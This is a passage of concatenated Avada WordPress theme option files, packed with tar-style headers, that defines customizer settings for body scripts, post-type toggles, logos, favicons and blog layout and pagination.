=> 'space_body_open', 'default' => '', 'type' => 'code', 'choices' => [ 'language' => 'html', 'height' => 350, 'theme' => 'chrome', ], // No need to refresh the page. 'transport' => 'postMessage', ], 'space_body' => [ 'label' => esc_html__( 'Space before </body>', 'Avada' ), 'description' => esc_html__( 'Only accepts JavaScript code, wrapped with <script> tags and valid HTML markup inside the <body> tag.', 'Avada' ), 'id' => 'space_body', 'default' => '', 'type' => 'code', 'choices' => [ 'language' => 'html', 'height' => 350, 'theme' => 'chrome', ], // No need to refresh the page. 'transport' => 'postMessage', ], ], ], 'post_types_section' => [ 'label' => esc_html__( 'Post Types', 'Avada' ), 'id' => 'post_types_section', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'status_fusion_slider' => [ 'label' => esc_html__( 'Avada Slider', 'Avada' ), 'description' => esc_html__( 'Turn on to enable the Avada Slider.', 'Avada' ), 'id' => 'status_fusion_slider', 'default' => '1', 'type' => 'switch', // No need to refresh the page. 'transport' => 'postMessage', ], 'status_eslider' => [ 'label' => esc_html__( 'Elastic Slider', 'Avada' ), 'description' => esc_html__( 'Turn on to enable the elastic slider.', 'Avada' ), 'id' => 'status_eslider', 'default' => '0', 'type' => 'switch', // No need to refresh the page. 'transport' => 'postMessage', ], 'status_fusion_forms' => [ 'label' => esc_html__( 'Avada Forms', 'Avada' ), 'description' => esc_html__( 'Turn on to enable the Avada Forms.', 'Avada' ), 'id' => 'status_fusion_forms', 'default' => '1', 'type' => 'switch', // No need to refresh the page. 'transport' => 'postMessage', ], 'status_awb_Off_Canvas' => [ 'label' => esc_html__( 'Avada Off Canvas', 'Avada' ), 'description' => esc_html__( 'Turn on to enable the Avada Off Canvas.', 'Avada' ), 'id' => 'status_awb_Off_Canvas', 'default' => '1', 'type' => 'switch', // No need to refresh the page. 'transport' => 'postMessage', ], 'status_fusion_portfolio' => [ 'label' => esc_html__( 'Avada Portfolio', 'Avada' ), 'description' => esc_html__( 'Turn on to enable the Avada Portfolio.', 'Avada' ), 'id' => 'status_fusion_portfolio', 'default' => '1', 'type' => 'switch', // No need to refresh the page. 'transport' => 'postMessage', ], 'status_fusion_faqs' => [ 'label' => esc_html__( 'Avada FAQs', 'Avada' ), 'description' => esc_html__( 'Turn on to enable the Avada Faqs.', 'Avada' ), 'id' => 'status_fusion_faqs', 'default' => '1', 'type' => 'switch', // No need to refresh the page. 'transport' => 'postMessage', ], ], ], ], ]; return $sections; } Avada/includes/options/logo.php000064400000050525152342437700012550 0ustar00 esc_html__( 'Logo', 'Avada' ), 'id' => 'heading_logo', 'is_panel' => true, 'logo' => 5, 'icon' => 'el-icon-plus-sign', 'alt_icon' => 'fusiona-plus-circle', 'fields' => [ 'logo_options_wrapper' => [ 'label' => esc_html__( 'Logo', 'Avada' ), 'description' => '', 'id' => 'logo_options_wrapper', 'icon' => true, 'position' => 'start', 'type' => 'sub-section', 'fields' => [ 'logo_alignment' => [ 'label' => esc_html__( 'Logo Alignment', 'Avada' ), 'description' => esc_html__( 'Controls the logo alignment. "Center" only works on Header 5 and Side Headers.', 'Avada' ), 'id' => 'logo_alignment', 'default' => 'left', 'type' => 'radio-buttonset', 'choices' => [ 'left' => esc_html__( 'Left', 'Avada' ), 'center' => esc_html__( 'Center', 'Avada' ), 'right' => esc_html__( 'Right', 'Avada' ), ], 'required' => [ [ 'setting' => 'logo', 'operator' => '!=', 'value' => '', ], [ 'setting' => 'logo', 'operator' => '!=', 'value' => [ 'url' => '', ], ], [ 'setting' => 'logo', 'operator' => '!=', 'value' => [ 'url' => '', 'id' => '', 'height' => '', 'width' => '', 'thumbnail' => '', ], ], ], 'css_vars' => [ [ 'name' => '--logo_alignment', ], ], 'output' => [ [ 'element' => '.fusion-logo-alignment', 'function' => 'attr', 'attr' => 'class', 'value_pattern' => 'fusion-logo-$', 'remove_attrs' => [ 'fusion-logo-left', 'fusion-logo-center', 'fusion-logo-right' ], ], [ 'element' => 'helperElement', 'property' => 'bottom', 'choice' => 'top', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'choice' => 'top', 'globalVar' => 'avadaMenuVars', 'id' => 'logo_alignment', ], ], 'sanitize_callback' => '__return_empty_string', ], [ 'element' => 'body', 'function' => 'attr', 'attr' => 'class', 'value_pattern' => 'mobile-logo-pos-$', 'remove_attrs' => [ 'mobile-logo-pos-left', 'mobile-logo-pos-center', 'mobile-logo-pos-right' ], ], [ 'element' => '.side-header-wrapper .side-header-content', 'function' => 'attr', 'attr' => 'class', 'value_pattern' => 'fusion-logo-$', 'remove_attrs' => [ 'fusion-logo-left', 'fusion-logo-center', 'fusion-logo-right' ], ], [ 'element' => '.side-header-wrapper .fusion-main-menu-container', 'function' => 'attr', 'attr' => 'class', 'value_pattern' => 'fusion-logo-menu-$', 'remove_attrs' => [ 'fusion-logo-menu-left', 'fusion-logo-menu-center', 'fusion-logo-menu-right' ], ], ], ], 'logo_margin' => [ 'label' => esc_html__( 'Logo Margins', 'Avada' ), 'description' => esc_html__( 'Controls the top/right/bottom/left margins for the logo.', 'Avada' ), 'id' => 'logo_margin', 'default' => [ 'top' => '34px', 'bottom' => '34px', 'left' => '0px', 'right' => '0px', ], 'choices' => [ 'top' => true, 'bottom' => true, 'left' => true, 'right' => true, ], 'type' => 'spacing', 'required' => [ [ 'setting' => 'logo', 'operator' => '!=', 'value' => '', ], [ 'setting' => 'logo', 'operator' => '!=', 'value' => [ 'url' => '', ], ], [ 'setting' => 'logo', 'operator' => '!=', 'value' => [ 'url' => '', 'id' => '', 'height' => '', 'width' => '', 'thumbnail' => '', ], ], ], 'css_vars' => [ [ 'name' => '--logo_margin-top', 'element' => '.fusion-logo', 'choice' => 'top', 'callback' => [ 'conditional_return_value', [ 'value_pattern' => [ '$', '0px' ], 'conditions' => [ [ 'logo[url]', '!==', '' ], ], ], ], ], [ 'name' => '--logo_margin-bottom', 'element' => '.fusion-logo', 'choice' => 'bottom', 'callback' => [ 'conditional_return_value', [ 'value_pattern' => [ '$', '0px' ], 'conditions' => [ [ 'logo[url]', '!==', '' ], ], ], ], ], [ 'name' => '--logo_margin-left', 'element' => '.fusion-logo', 'choice' => 'left', 'callback' => [ 'conditional_return_value', [ 'value_pattern' => [ '$', '0px' ], 'conditions' => [ [ 'logo[url]', '!==', '' ], ], ], ], ], [ 'name' => '--logo_margin-right', 'element' => '.fusion-logo', 'choice' => 'right', 'callback' => [ 'conditional_return_value', [ 'value_pattern' => [ '$', '0px' ], 'conditions' => [ [ 'logo[url]', '!==', '' ], ], ], ], ], ], 'output' => [ [ 'element' => $logo_margin_elements, 'choice' => 'top', 'function' => 'attr', 'attr' => 'data-margin-top', ], [ 'choice' => 'top', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'avadaHeaderVars', 'id' => 'header_padding_top', ], ], 'sanitize_callback' => '__return_empty_string', ], [ 'element' => $logo_margin_elements, 'choice' => 'bottom', 'function' => 'attr', 'attr' => 'data-margin-bottom', ], [ 'choice' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'avadaHeaderVars', 'id' => 'logo_margin_bottom', 'trigger' => [ 'fusion-reinit-sticky-header' ], ], ], 'sanitize_callback' => '__return_empty_string', ], [ 'element' => $logo_margin_elements, 'choice' => 'left', 'function' => 'attr', 'attr' => 'data-margin-left', ], [ 'element' => $logo_margin_elements, 'choice' => 'right', 'function' => 'attr', 'attr' => 'data-margin-right', ], ], ], 'logo_background' => [ 'label' => esc_html__( 'Logo Background', 'Avada' ), 'description' => esc_html__( 'Turn on to display a colored background for the logo.', 'Avada' ), 'id' => 'logo_background', 'default' => '0', 'type' => 'switch', 'class' => 'fusion-gutter-and-and-or-and', 'required' => [ [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v4', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v5', ], [ 'setting' => 'logo', 'operator' => '!=', 'value' => '', ], [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'logo', 'operator' => '!=', 'value' => '', ], ], 'partial_refresh' => [ 'partial_refresh_logo' => [ 'selector' => '.fusion-logo,.fusion-logo-background', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'logo' ], ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => 'body,html', 'className' => 'avada-has-logo-background', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'logo_background_color' => [ 'label' => esc_html__( 'Logo Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color for the logo.', 'Avada' ), 'id' => 'logo_background_color', 'default' => 'var(--awb-color4)', 'type' => 'color-alpha', 'class' => 'fusion-gutter-and-and-and-or-and-and', 'required' => [ [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v4', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v5', ], [ 'setting' => 'logo_background', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'logo', 'operator' => '!=', 'value' => '', ], [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'logo_background', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'logo', 'operator' => '!=', 'value' => '', ], ], 'css_vars' => [ [ 'name' => '--logo_background_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'logo_custom_link' => [ 'label' => esc_html__( 'Logo Custom Link URL', 'Avada' ), 'description' => esc_html__( 'Enter a custom URL the site logo should link to. Leave empty to let logo link to the home page.', 'Avada' ), 'id' => 'logo_custom_link', 'default' => '', 'type' => is_admin() ? 'text' : 'link_selector', 'output' => [ // Change attr in the DOM. [ 'element' => '.fusion-logo-link', 'function' => 'attr', 'attr' => 'href', 'value_pattern' => '$', ], ], ], 'default_logo_info_title' => [ 'label' => esc_html__( 'Default Logo', 'Avada' ), 'description' => '', 'id' => 'default_logo_info_title', 'icon' => true, 'type' => 'info', ], 'logo' => [ 'label' => esc_html__( 'Default Logo', 'Avada' ), 'description' => esc_html__( 'Select an image file for your logo.', 'Avada' ), 'id' => 'logo', 'default' => Avada::$template_dir_url . '/assets/images/logo.png', 'mod' => 'min', 'type' => 'media', 'mode' => false, 'partial_refresh' => [ 'partial_refresh_logo' => [ 'selector' => '.fusion-logo', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'logo' ], ], ], 'edit_shortcut' => [ 'selector' => [ '.fusion-header', '#side-header .side-header-wrapper' ], 'shortcuts' => [ [ 'aria_label' => esc_html__( 'Edit Logo', 'Avada' ), 'icon' => 'fusiona-plus-circle', 'order' => 2, ], ], ], ], 'logo_retina' => [ 'label' => esc_html__( 'Retina Default Logo', 'Avada' ), 'description' => esc_html__( 'Select an image file for the retina version of the logo. It should be exactly 2x the size of the main logo.', 'Avada' ), 'id' => 'logo_retina', 'default' => Avada::$template_dir_url . '/assets/images/logo@2x.png', 'mod' => 'min', 'type' => 'media', 'mode' => false, 'required' => [ [ 'setting' => 'logo', 'operator' => '!=', 'value' => '', ], [ 'setting' => 'logo', 'operator' => '!=', 'value' => [ 'url' => '', ], ], [ 'setting' => 'logo', 'operator' => '!=', 'value' => [ 'url' => '', 'id' => '', 'height' => '', 'width' => '', 'thumbnail' => '', ], ], ], 'partial_refresh' => [ 'partial_refresh_logo_retina' => [ 'selector' => '.fusion-logo', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'logo' ], ], ], ], 'sticky_logo_info_title' => [ 'label' => esc_html__( 'Sticky Header Logo', 'Avada' ), 'description' => '', 'id' => 'sticky_logo_info_title', 'icon' => true, 'type' => 'info', ], 'sticky_header_logo' => [ 'label' => esc_html__( 'Sticky Header Logo', 'Avada' ), 'description' => esc_html__( 'Select an image file for your sticky header logo.', 'Avada' ), 'id' => 'sticky_header_logo', 'default' => '', 'mod' => 'min', 'type' => 'media', 'mode' => false, 'partial_refresh' => [ 'partial_refresh_sticky_header_logo' => [ 'selector' => '.fusion-logo', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'logo' ], ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'has-image' ], 'element' => '.fusion-logo-alignment', 'className' => 'fusion-sticky-logo-1', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'sticky_header_logo_retina' => [ 'label' => esc_html__( 'Retina Sticky Header Logo', 'Avada' ), 'description' => esc_html__( 'Select an image file for the retina version of the sticky header logo. It should be exactly 2x the size of the sticky header logo.', 'Avada' ), 'id' => 'sticky_header_logo_retina', 'default' => '', 'mod' => 'min', 'type' => 'media', 'mode' => false, 'required' => [ [ 'setting' => 'sticky_header_logo', 'operator' => '!=', 'value' => '', ], [ 'setting' => 'sticky_header_logo', 'operator' => '!=', 'value' => [ 'url' => '', ], ], [ 'setting' => 'sticky_header_logo', 'operator' => '!=', 'value' => [ 'url' => '', 'id' => '', 'height' => '', 'width' => '', 'thumbnail' => '', ], ], ], 'partial_refresh' => [ 'partial_refresh_sticky_header_logo_retina' => [ 'selector' => '.fusion-logo', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'logo' ], ], ], ], 'mobile_logo_info_title' => [ 'label' => esc_html__( 'Mobile Logo', 'Avada' ), 'description' => '', 'id' => 'mobile_logo_info_title', 'icon' => true, 'type' => 'info', ], 'mobile_logo' => [ 'label' => esc_html__( 'Mobile Logo', 'Avada' ), 'description' => esc_html__( 'Select an image file for your mobile logo.', 'Avada' ), 'id' => 'mobile_logo', 'default' => '', 'mod' => 'min', 'type' => 'media', 'mode' => false, 'partial_refresh' => [ 'partial_refresh_mobile_logo' => [ 'selector' => '.fusion-logo', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'logo' ], ], ], ], 'mobile_logo_retina' => [ 'label' => esc_html__( 'Retina Mobile Logo', 'Avada' ), 'description' => esc_html__( 'Select an image file for the retina version of the mobile logo. It should be exactly 2x the size of the mobile logo.', 'Avada' ), 'id' => 'mobile_logo_retina', 'default' => '', 'mod' => 'min', 'type' => 'media', 'mode' => false, 'required' => [ [ 'setting' => 'mobile_logo', 'operator' => '!=', 'value' => '', ], [ 'setting' => 'mobile_logo', 'operator' => '!=', 'value' => [ 'url' => '', ], ], [ 'setting' => 'mobile_logo', 'operator' => '!=', 'value' => [ 'url' => '', 'id' => '', 'height' => '', 'width' => '', 'thumbnail' => '', ], ], ], 'partial_refresh' => [ 'partial_refresh_mobile_logo_retina' => [ 'selector' => '.fusion-logo', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'logo' ], ], ], ], ], ], 'favicons' => [ 'label' => esc_html__( 'Favicon', 'Avada' ), 'description' => '', 'id' => 'favicons', 'icon' => true, 'position' => 'start', 'type' => 'sub-section', 'fields' => [ 'fav_icon' => [ 'label' => esc_html__( 'Favicon', 'Avada' ), 'description' => esc_html__( 'Favicon for your website at 32px x 32px or 64px x 64px.', 'Avada' ), 'id' => 'fav_icon', 'default' => '', 'type' => 'media', 'mode' => false, // No need to refresh the page. 'transport' => 'postMessage', ], 'fav_icon_apple_touch' => [ 'label' => esc_html__( 'Apple Touch Icon', 'Avada' ), 'description' => esc_html__( 'Favicon for Apple iOS devices at 180px x 180px.', 'Avada' ), 'id' => 'fav_icon_apple_touch', 'default' => '', 'type' => 'media', 'mode' => false, // No need to refresh the page. 'transport' => 'postMessage', ], 'fav_icon_android' => [ 'label' => esc_html__( 'Android Devices Icon', 'Avada' ), 'description' => esc_html__( 'Favicon for Android-based devices at 192px x 192px.', 'Avada' ), 'id' => 'fav_icon_android', 'default' => '', 'type' => 'media', 'mode' => false, // No need to refresh the page. 'transport' => 'postMessage', ], 'fav_icon_edge' => [ 'label' => esc_html__( 'Microsoft Edge Icon', 'Avada' ), 'description' => esc_html__( 'Favicon for Microsoft Edge browsers at 270px x 270px.', 'Avada' ), 'id' => 'fav_icon_edge', 'default' => '', 'type' => 'media', 'mode' => false, // No need to refresh the page. 'transport' => 'postMessage', ], ], ], ], ]; return $sections; } Avada/includes/options/shortcode_styling.php000064400000002546152342437700015353 0ustar00 esc_html__( 'Avada Builder Elements', 'Avada' ), 'id' => 'fusion_builder_elements', 'is_panel' => true, 'priority' => 14, 'icon' => 'el-icon-cog', 'fields' => [ 'shortcode_styling' => [ 'label' => '', /* translators: URL. */ 'description' => '
' . sprintf( __( 'IMPORTANT NOTE: Avada Builder Elements settigns are moved to Avada Builder Elements options panel here.', 'Avada' ), admin_url( 'admin.php?page=fusion-element-options' ) ) . '
', 'id' => 'shortcode_styling', 'type' => 'custom', 'option_name' => $option_name, ], ], ]; } return $sections; } Avada/includes/options/blog.php000064400000117464152342437700012541 0ustar00get_template_terms(); } $blog_general_options = [ 'label' => esc_html__( 'General Blog', 'Avada' ), 'description' => '', 'id' => 'blog_general_options', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'general_blog_important_note_info' => [ 'label' => '', 'description' => '
' . __( 'IMPORTANT NOTE: The options on this tab only control the assigned blog page in "Settings > Reading", blog archives or the blog single post page, not the blog element. The only options on this tab that work with the blog element are the Date Format options and Load More Post Button Color.', 'Avada' ) . '
', 'id' => 'general_blog_important_note_info', 'type' => 'custom', ], 'blog_page_title_bar' => [ 'label' => esc_html__( 'Blog Page Title Bar', 'Avada' ), 'description' => esc_html__( 'Controls how the page title bar displays on single blog posts and blog archive pages.', 'Avada' ), 'id' => 'blog_page_title_bar', 'default' => 'hide', 'choices' => [ 'bar_and_content' => esc_html__( 'Show Bar and Content', 'Avada' ), 'content_only' => esc_html__( 'Show Content Only', 'Avada' ), 'hide' => esc_html__( 'Hide', 'Avada' ), ], 'type' => 'select', 'partial_refresh' => [ 'page_title_bar_contents_blog_page_title_bar' => [ 'selector' => '.avada-page-titlebar-wrapper', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'page_titlebar_wrapper' ], ], ], ], 'blog_show_page_title_bar' => [ 'label' => esc_html__( 'Blog Assigned Page Title Bar', 'Avada' ), 'description' => esc_html__( 'Controls how the page title bar displays on the assigned blog page in "Settings > Reading".', 'Avada' ), 'id' => 'blog_show_page_title_bar', 'default' => 'hide', 'choices' => [ 'bar_and_content' => esc_html__( 'Show Bar and Content', 'Avada' ), 'content_only' => esc_html__( 'Show Content Only', 'Avada' ), 'hide' => esc_html__( 'Hide', 'Avada' ), ], 'type' => 'select', 'partial_refresh' => [ 'page_title_bar_contents_blog_show_page_title_bar' => [ 'selector' => '.avada-page-titlebar-wrapper', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'page_titlebar_wrapper' ], ], ], ], 'blog_title' => [ 'label' => esc_html__( 'Blog Page Title', 'Avada' ), 'description' => esc_html__( 'Controls the title text that displays in the page title bar only if your front page displays your latest post in "Settings > Reading".', 'Avada' ), 'id' => 'blog_title', 'default' => esc_html__( 'Blog', 'Avada' ), 'type' => 'text', 'required' => [ [ 'setting' => 'blog_show_page_title_bar', 'operator' => '!=', 'value' => 'hide', ], ], 'partial_refresh' => [ 'blog_title_partial' => [ 'selector' => '.avada-page-titlebar-wrapper', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'page_titlebar_wrapper' ], ], ], ], 'blog_subtitle' => [ 'label' => esc_html__( 'Blog Page Subtitle', 'Avada' ), 'description' => esc_html__( 'Controls the subtitle text that displays in the page title bar only if your front page displays your latest post in "Settings > Reading".', 'Avada' ), 'id' => 'blog_subtitle', 'default' => '', 'type' => 'text', 'required' => [ [ 'setting' => 'blog_show_page_title_bar', 'operator' => '!=', 'value' => 'hide', ], ], 'partial_refresh' => [ 'blog_subtitle_partial' => [ 'selector' => '.avada-page-titlebar-wrapper', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'page_titlebar_wrapper' ], ], ], ], 'blog_layout' => [ 'label' => esc_html__( 'Blog Layout', 'Avada' ), 'description' => esc_html__( 'Controls the layout for the assigned blog page in "Settings > Reading".', 'Avada' ), 'id' => 'blog_layout', 'default' => 'large', 'type' => 'select', 'choices' => [ 'large' => esc_html__( 'Large', 'Avada' ), 'medium' => esc_html__( 'Medium', 'Avada' ), 'large alternate' => esc_html__( 'Large Alternate', 'Avada' ), 'medium alternate' => esc_html__( 'Medium Alternate', 'Avada' ), 'grid' => esc_html__( 'Grid', 'Avada' ), 'timeline' => esc_html__( 'Timeline', 'Avada' ), 'masonry' => esc_html__( 'Masonry', 'Avada' ), ], 'update_callback' => [ [ 'condition' => 'is_home', 'operator' => '===', 'value' => true, ], ], 'edit_shortcut' => [ 'selector' => [ '.blog .fusion-blog-archive' ], 'shortcuts' => [ [ 'aria_label' => esc_html__( 'Edit Blog Options', 'Avada' ), ], ], ], ], 'blog_archive_layout' => [ 'label' => esc_html__( 'Blog Archive Layout', 'Avada' ), 'description' => esc_html__( 'Controls the layout for the blog archive pages.', 'Avada' ), 'id' => 'blog_archive_layout', 'default' => 'large', 'type' => 'select', 'choices' => [ 'large' => esc_html__( 'Large', 'Avada' ), 'medium' => esc_html__( 'Medium', 'Avada' ), 'large alternate' => esc_html__( 'Large Alternate', 'Avada' ), 'medium alternate' => esc_html__( 'Medium Alternate', 'Avada' ), 'grid' => esc_html__( 'Grid', 'Avada' ), 'timeline' => esc_html__( 'Timeline', 'Avada' ), 'masonry' => esc_html__( 'Masonry', 'Avada' ), ], 'update_callback' => [ [ // 2-levels deep because we want this to be OR. [ 'condition' => 'is_category', 'operator' => '===', 'value' => true, ], [ 'condition' => 'is_tag', 'operator' => '===', 'value' => true, ], [ 'condition' => 'is_date', 'operator' => '===', 'value' => true, ], [ 'condition' => 'is_author', 'operator' => '===', 'value' => true, ], ], ], ], 'blog_pagination_type' => [ 'label' => esc_html__( 'Pagination Type', 'Avada' ), 'description' => esc_html__( 'Controls the pagination type for the assigned blog page in "Settings > Reading" or blog archive pages.', 'Avada' ), 'id' => 'blog_pagination_type', 'default' => 'pagination', 'type' => 'radio-buttonset', 'choices' => [ 'pagination' => esc_html__( 'Pagination', 'Avada' ), 'infinite_scroll' => esc_html__( 'Infinite Scroll', 'Avada' ), 'load_more_button' => esc_html__( 'Load More Button', 'Avada' ), ], 'update_callback' => [ [ 'condition' => 'is_home', 'operator' => '===', 'value' => true, ], ], ], 'blog_load_more_posts_button_bg_color' => [ 'label' => esc_attr__( 'Load More Posts Button Background Color', 'fusion-core' ), 'description' => esc_attr__( 'Controls the background color of the load more button for ajax post loading for blog archives.', 'fusion-core' ), 'id' => 'blog_load_more_posts_button_bg_color', 'default' => 'var(--awb-color7)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--blog_load_more_posts_button_bg_color', 'element' => '.fusion-load-more-button', 'callback' => [ 'sanitize_color' ], ], ], 'required' => [ [ 'setting' => 'blog_pagination_type', 'operator' => '==', 'value' => 'load_more_button', ], ], ], 'blog_load_more_posts_button_text_color' => [ 'label' => esc_attr__( 'Load More Posts Button Text Color', 'fusion-core' ), 'description' => esc_attr__( 'Controls the text color of the load more button for ajax post loading for blog archives.', 'fusion-core' ), 'id' => 'blog_load_more_posts_button_text_color', 'default' => 'var(--awb-color1)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--blog_load_more_posts_button_text_color', 'element' => '.fusion-load-more-button', 'callback' => [ 'sanitize_color' ], ], ], 'required' => [ [ 'setting' => 'blog_pagination_type', 'operator' => '==', 'value' => 'load_more_button', ], ], ], 'blog_load_more_posts_hover_button_bg_color' => [ 'label' => esc_attr__( 'Load More Posts Button Hover Background Color', 'fusion-core' ), 'description' => esc_attr__( 'Controls the hover background color of the load more button for ajax post loading for blog archives.', 'fusion-core' ), 'id' => 'blog_load_more_posts_hover_button_bg_color', 'default' => 'var(--awb-color5)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--blog_load_more_posts_hover_button_bg_color', 'element' => '.fusion-load-more-button', 'callback' => [ 'sanitize_color' ], ], ], 'required' => [ [ 'setting' => 'blog_pagination_type', 'operator' => '==', 'value' => 'load_more_button', ], ], ], 'blog_load_more_posts_hover_button_text_color' => [ 'label' => esc_attr__( 'Load More Posts Hover Button Text Color', 'fusion-core' ), 'description' => esc_attr__( 'Controls the hover text color of the load more button for ajax post loading for blog archives.', 'fusion-core' ), 'id' => 'blog_load_more_posts_hover_button_text_color', 'default' => 'var(--awb-color1)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--blog_load_more_posts_hover_button_text_color', 'element' => '.fusion-load-more-button', 'callback' => [ 'sanitize_color' ], ], ], 'required' => [ [ 'setting' => 'blog_pagination_type', 'operator' => '==', 'value' => 'load_more_button', ], ], ], 'blog_archive_grid_columns' => [ 'label' => esc_html__( 'Number of Columns', 'Avada' ), 'description' => __( 'Controls the number of columns for grid and masonry layout when using it for the assigned blog page in "Settings > Reading" or blog archive pages. IMPORTANT: Masonry layout does not work with 1 column.', 'Avada' ), 'id' => 'blog_archive_grid_columns', 'default' => 3, 'type' => 'slider', 'class' => 'fusion-or-gutter', 'choices' => [ 'min' => 1, 'max' => 6, 'step' => 1, ], 'required' => [ [ 'setting' => 'blog_layout', 'operator' => '=', 'value' => 'grid', ], [ 'setting' => 'blog_layout', 'operator' => '=', 'value' => 'masonry', ], [ 'setting' => 'blog_archive_layout', 'operator' => '=', 'value' => 'grid', ], [ 'setting' => 'blog_archive_layout', 'operator' => '=', 'value' => 'masonry', ], ], 'update_callback' => [ [ // 2-levels deep because we want this to be OR. [ 'condition' => 'is_home', 'operator' => '===', 'value' => true, ], [ 'condition' => 'is_archive', 'operator' => '===', 'value' => true, ], ], ], ], 'blog_archive_grid_column_spacing' => [ 'label' => esc_html__( 'Column Spacing', 'Avada' ), 'description' => esc_html__( 'Controls the column spacing for blog posts for grid and masonry layout when using it for the assigned blog page in "Settings > Reading" or blog archive pages.', 'Avada' ), 'id' => 'blog_archive_grid_column_spacing', 'default' => '40', 'type' => 'slider', 'class' => 'fusion-or-gutter', 'choices' => [ 'min' => '0', 'step' => '1', 'max' => '300', 'edit' => 'yes', ], 'required' => [ [ 'setting' => 'blog_layout', 'operator' => '=', 'value' => 'grid', ], [ 'setting' => 'blog_layout', 'operator' => '=', 'value' => 'masonry', ], [ 'setting' => 'blog_archive_layout', 'operator' => '=', 'value' => 'grid', ], [ 'setting' => 'blog_archive_layout', 'operator' => '=', 'value' => 'masonry', ], ], 'transport' => 'refresh', 'css_vars' => [ [ 'name' => '--blog_archive_grid_column_spacing', 'value_pattern' => '$px', ], ], 'update_callback' => [ [ // 2-levels deep because we want this to be OR. [ 'condition' => 'is_home', 'operator' => '===', 'value' => true, ], [ 'condition' => 'is_archive', 'operator' => '===', 'value' => true, ], ], ], ], 'blog_equal_heights' => [ 'label' => esc_html__( 'Equal Heights', 'Avada' ), 'description' => esc_html__( 'Turn on to display grid boxes to equal heights per row.', 'Avada' ), 'id' => 'blog_equal_heights', 'default' => 0, 'type' => 'switch', 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'blog_layout', 'operator' => '=', 'value' => 'grid', ], [ 'setting' => 'blog_archive_layout', 'operator' => '=', 'value' => 'grid', ], ], // Masonry prevents us from simply changing the class in the DOM, currently requires a full-refresh. 'transport' => 'refresh', 'update_callback' => [ [ // 2-levels deep because we want this to be OR. [ 'condition' => 'is_home', 'operator' => '===', 'value' => true, ], [ 'condition' => 'is_archive', 'operator' => '===', 'value' => true, ], ], ], ], 'blog_archive_grid_padding' => [ 'label' => esc_html__( 'Blog Archive Grid Text Padding', 'Avada' ), 'description' => esc_html__( 'Controls the top/right/bottom/left padding of the blog text when using grid / masonry or timeline layout. ', 'Avada' ), 'id' => 'blog_archive_grid_padding', 'class' => 'fusion-or-gutter', 'choices' => [ 'top' => true, 'bottom' => true, 'left' => true, 'right' => true, ], 'default' => [ 'top' => '30px', 'bottom' => '20px', 'left' => '25px', 'right' => '25px', ], 'type' => 'spacing', 'required' => [ [ 'setting' => 'blog_layout', 'operator' => '=', 'value' => 'grid', ], [ 'setting' => 'blog_layout', 'operator' => '=', 'value' => 'masonry', ], [ 'setting' => 'blog_layout', 'operator' => '=', 'value' => 'timeline', ], [ 'setting' => 'blog_archive_layout', 'operator' => '=', 'value' => 'grid', ], [ 'setting' => 'blog_archive_layout', 'operator' => '=', 'value' => 'masonry', ], [ 'setting' => 'blog_archive_layout', 'operator' => '=', 'value' => 'timeline', ], ], 'css_vars' => [ [ 'name' => '--blog_archive_grid_padding-top', 'choice' => 'top', 'element' => '.fusion-post-content-wrapper', ], [ 'name' => '--blog_archive_grid_padding-bottom', 'choice' => 'bottom', 'element' => '.fusion-post-content-wrapper', ], [ 'name' => '--blog_archive_grid_padding-left', 'choice' => 'left', 'element' => '.fusion-post-content-wrapper', ], [ 'name' => '--blog_archive_grid_padding-right', 'choice' => 'right', 'element' => '.fusion-post-content-wrapper', ], ], ], 'blog_layout_alignment' => [ 'label' => esc_html__( 'Blog Archive Grid Content Alignment', 'Avada' ), 'description' => esc_html__( 'Controls the content alignment of the blog text when using grid / masonry or timeline layout.', 'Avada' ), 'id' => 'blog_layout_alignment', 'default' => '', 'type' => 'radio-buttonset', 'choices' => [ '' => esc_html__( 'Text Flow', 'fusion-builder' ), 'left' => esc_html__( 'Left', 'fusion-builder' ), 'center' => esc_html__( 'Center', 'fusion-builder' ), 'right' => esc_html__( 'Right', 'fusion-builder' ), ], 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'blog_layout', 'operator' => '=', 'value' => 'grid', ], [ 'setting' 